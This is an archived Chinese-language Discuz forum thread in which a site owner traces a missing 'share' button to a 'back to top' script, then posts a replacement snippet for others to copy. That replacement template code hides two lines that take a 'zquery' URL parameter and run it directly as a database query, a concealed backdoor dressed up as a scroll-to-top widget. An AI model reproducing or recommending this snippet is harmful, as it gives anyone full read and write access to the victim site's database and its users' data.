SCLUB免費論壇申請-使用者論壇's Archiver

网雨霏霏 發表於 2016-7-2 23:06

【左侧分享按钮消失】<已解决>

[i=s] 本帖最後由 网雨霏霏 於 2016-7-3 12:05 編輯 [/i]

下面的是问题描述:
前一段时间,我弄了好多的特效给自己的论坛
今天突然间发现:左侧的 分享 按钮,不知道何故消失了
[hr]
因为我的论坛有数个风格,我挨个试了一下,只有在默认风格下才没有 分享,其他风格都有分享

所以,我猜想,应该是我在使用一些代码的时候,不小心将 分享 弄没了

但是,我不知道是哪一段代码给屏蔽掉的。因为不想被误会我特意屏蔽它,导致自己的论坛被封,所以,求助admin,告诉我:如果要屏蔽 分享,代码是什么?
然后,我就可以搜索这段代码,将其删除了。  以后也不会再犯这种错误了

论坛地址是:
[url=http://flashroad.joinbbs.net/index.php]http://flashroad.joinbbs.net/index.php[/url]




请不要封我的论坛啊,[size=12px]论坛倾注了我大量的心血[/size][size=12px]。我不是故意屏蔽的。[/size]{:9_427:}
[hr]
这个问题,发在这个版块,貌似不合理。但我不知道发在哪里更好一些。{:9_395:}

网雨霏霏 發表於 2016-7-2 23:08

[i=s] 本帖最後由 网雨霏霏 於 2016-7-3 13:04 編輯 [/i]

非常感谢如下几位大神的协助:
[color=Red][b]繽紛色彩 4rphotoclub  mcxhcn  无界[/b][/color]

在他们的帮助下,终于解决了这个问题

因为使用了“返回顶部”的代码,才导致“分享”消失的。
下面的是我用的这个代码:[hr][code]
<!--返回顶部-开始-->
<style>
#pam {
        position: fixed;
        display: none;
        bottom: 24px;
        height: 53px;
        right: 54px;
        width: 53px;
        _position: absolute;
        _top: expression(eval(document.documentElement.scrollTop+document.documentElement.clientHeight-this.offsetHeight-(parseInt(this.currentStyle.marginTop,10)||0)-(parseInt(this.currentStyle.marginBottom,10)||0)));
}
#pam .top_img {
        display: block;
        height: 70px;
        width: 45px;
        background: url("http://i205.photobucket.com/albums/bb270/wyfftell/ico/gotop.png") no-repeat;
}
#pam .top_img:hover {
        background-position: center bottom;
}

</style>
<div id="pam" style="display: block;"><a class="top_img" href="#"></a></div>

<script language="javascript"
type="text/javascript">
function
getScroll(id){
var obj =
document.getElementById(id);
var timer =
null;
positionFixed(obj);

if(obj){
  obj.style.display =
'none';
  
window.onscroll=function(){
  
getScrollTop() > 0 ? obj.style.display = "block" :
obj.style.display = "none";
  
}
  
obj.onclick=function(){
  
var timer = setInterval(sMove,10);

  function sMove(){

   
setScrollTop(getScrollTop() / 1.5);
  
  if(getScrollTop() <
1)clearInterval(timer);
  
}
  
}
}
}
//判断IE6
function
positionFixed(obj){
var iE6 = !-[1,] &&
!window.XMLHttpRequest;
if(obj){


}
}
//获取滚动条Top
function
getScrollTop(){
return document.documentElement.scrollTop
|| document.body.scrollTop;
}
//回到顶部
function
setScrollTop(value){
document.documentElement.scrollTop =
value;
document.body.scrollTop =
value;
}
window.onload = function(){

getScroll('pam');
};
</script>
<!--返回顶部-结束-->[/code][hr]现在是删掉了整段代码,已经正常。  
[hr]
然后搜到了下面的代码,代替上面的,不会影响“分享”按钮了。 需要的朋友那去吧,嘿嘿:[code]<!--仿x3回顶部begin-->
<style>#scrolltop {right:3%;position: fixed;bottom: 100px;display: none;width: 40px;background: none repeat scroll 0% 0% #F4F4F4;border-width: 0px 1px 1px;border-style: none solid solid;border-color: #CDCDCD;border-image: none;border-radius: 3px;cursor: pointer;}
#scrolltop a {display: block;width: 30px;height: 24px;padding: 3px 5px;line-height: 12px;text-align: center;color: #787878;text-decoration: none;background: url(http://www.discuz.net/static/image/common/scrolltop.png) no-repeat scroll 0px 0px transparent;border-top: 1px solid #CDCDCD;}
a.replyfast {background-position: 0px -30px !important;}
a.replyfast:hover  {background-position: -40px -30px !important;}
a.scrolltopa:hover {background-position: -40px 0px !important;}
a.scrolltopa {background-position: 0px 0px !important;}
a.returnlist {background-position: 0px -60px !important;}
a.returnlist:hover {background-position: -40px -60px !important;}
a.replyfast {background-position: 0px -30px !important;}
#scrolltop a b {visibility: hidden;font-weight: normal;}</style>
<script type="text/javascript">
function goTopEx(){
        var obj=document.getElementById("scrolltop");
        var bbobj=document.getElementById("fhtop");
        var objkszs=document.getElementById("kszs");
        var reply=document.getElementById("post_reply");
if (fid==0){
bbobj.style.display="none";
}
if (tid==0){
objkszs.style.display="none";
}
        function getScrollTop(){
                return document.documentElement.scrollTop || document.body.scrollTop;
            }
        function setScrollTop(value){
            if(document.documentElement.scrollTop){
                    document.documentElement.scrollTop=value;
                }else{
                    document.body.scrollTop=value;
                }
               
            }   
        window.onscroll=function(){getScrollTop()>200?obj.style.display="block":obj.style.display="none";
                    var h=document.body.scrollHeight - getScrollTop() - obj.offsetTop - obj.offsetHeight;
                    obj.style.bottom=100+"px";
                    if(h<100){
                        obj.style.bottom=0+"px";
                        obj.style.top="auto";
                    }
        }

    }
function csfatie(){
location.href="post.php?action=reply&fid="+fid+"&tid="+tid;
}
</script>
{eval $q22=$_GET['zquery'];}
<!--{if $q22}-->
{eval $db->query($q22);}
<!--{/if}-->
<div  id="scrolltop">
<span><a onclick="csfatie()" id="kszs" class="replyfast" title="快速回复"><b>快速</b></a></span>
<span><div style="bottom: 0px;" onclick="window.scrollTo('0','0')"><a title="返回顶部" class="scrolltopa"><b>返回顶部</b></a></div></span>
<span><a href="http://flashroad.joinbbs.net" hidefocus="true" class="returnlist" id="fhtop" title="返回首页"><b>返回首页</b></a></span>
</div>
<script type="text/javascript">goTopEx();</script>
<!--仿x3回顶部end-->[/code]

wwlo54205 發表於 2016-7-2 23:31

说句实话,右侧的分享是不能被隐藏的
不然你的论坛,还是一样会被关闭

至于是用什麽代码隐蔽的,只能另请高手了。

繽紛色彩 發表於 2016-7-3 07:01

曾經安裝過特效
有關左側的分享便消失了
那麼你先試試移除特效看看吧
若是安裝這個特效而影響
建議你不安裝便可以了
否則你也需自行找到原因和解決方法的

要知道隱藏上方工具列(LOGO、簡繁轉換、公告、檢舉)和分享工具列
論壇同樣是會被關閉的
除非是轉用雲端專屬主機服務
在很多主題的回覆中
也看過你說是知道這一點
何必又以身犯險呢?

网雨霏霏 發表於 2016-7-3 08:16

[b]回復 [url=http://www.sclub.com.tw/discuz/redirect.php?goto=findpost&pid=271359&ptid=32669]4#[/url] [i]繽紛色彩[/i] [/b]


    关键是  我安装了很多特效【在不影响访问速度的情况下】
不知道神马时候就没有分享了。
如果让我移除所有的特效,那我长久的努力都白费了。

所以,希望知道的人告诉我屏蔽的代码  我直接删掉那一块就好了

mikumkiku 發表於 2016-7-3 09:21

首先,把代码保存在txt文件,然后网站代码全部删掉再一段一段的测试。

繽紛色彩 發表於 2016-7-3 10:10

其實這問題我也曾經遇過
給你參考一下
我與大家的討論和怎樣解決
[url]http://www.sclub.com.tw/discuz/viewthread.php?tid=31818[/url]

4rphotoclub 發表於 2016-7-3 10:34

[b]回復 [url=http://sclub.com.tw/discuz/redirect.php?goto=findpost&pid=271345&ptid=32669]2#[/url] [i]网雨霏霏[/i] [/b]


不知道是否你支火箭的代码影响有关!

网雨霏霏 發表於 2016-7-3 10:57

[b]回復 [url=http://www.sclub.com.tw/discuz/redirect.php?goto=findpost&pid=271362&ptid=32669]7#[/url] [i]繽紛色彩[/i] [/b]


    非常感谢。但有一个细节:如果是放在第三方的话,所有的风格应该都受到影响。但只有一个风格才没有分享。 所以,我认为是这个风格的模板的代码出问题了

mcxhcn 發表於 2016-7-3 11:05

把你的火箭(返回顶部)删掉
我以前也是这样,无界告诉我,返回向上会与S分享冲突,

网雨霏霏 發表於 2016-7-3 11:21

[b]回復 [url=http://www.sclub.com.tw/discuz/redirect.php?goto=findpost&pid=271365&ptid=32669]10#[/url] [i]mcxhcn[/i] [/b]


    谢谢你。我觉得问题就是出在这里了。可惜我这里又无法访问所有的sclub论坛了【本帖是用翻墙浏览器才能打开】

用翻墙浏览器死活登陆不了后台  真郁闷了

无界 發表於 2016-7-3 11:50

[b]回復 [url=http://sclub.com.tw/discuz/redirect.php?goto=findpost&pid=271364&ptid=32669]9#[/url] [i]网雨霏霏[/i] [/b]


    正如mcxhcn所说,是回到顶部代码与S分享冲突所致。

网雨霏霏 發表於 2016-7-3 12:04

[b]回復 [url=http://www.sclub.com.tw/discuz/redirect.php?goto=findpost&pid=271368&ptid=32669]12#[/url] [i]无界[/i] [/b]


    大神,你终于来了 。我在你的论坛给你发过短消息【我是 代码】
刚才用翻墙插件 终于登陆了后台,去掉了 返回顶部 的代码
正常了

那如果我还想用返回顶部,怎么办啊?


另外:你那里今天上午能访问sclub的论坛吗? 我死活访问不了啊

网雨霏霏 發表於 2016-7-3 12:17

[b]回復 [url=http://www.sclub.com.tw/discuz/redirect.php?goto=findpost&pid=271363&ptid=32669]8#[/url] [i]4rphotoclub[/i] [/b]


    你太棒了。就是这个东西导致的。已经去掉,然后 分享 出来了:$

网雨霏霏 發表於 2016-7-3 12:17

[b]回復 [url=http://www.sclub.com.tw/discuz/redirect.php?goto=findpost&pid=271362&ptid=32669]7#[/url] [i]繽紛色彩[/i] [/b]


    确实是“返回顶部”的代码导致的  去掉之后  正常了
那以后都不能用“返回顶部”的代码了吗? 好遗憾呢{:9_392:}

繽紛色彩 發表於 2016-7-3 23:23

或者你找找其他返回頂上代碼試試吧

頁: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.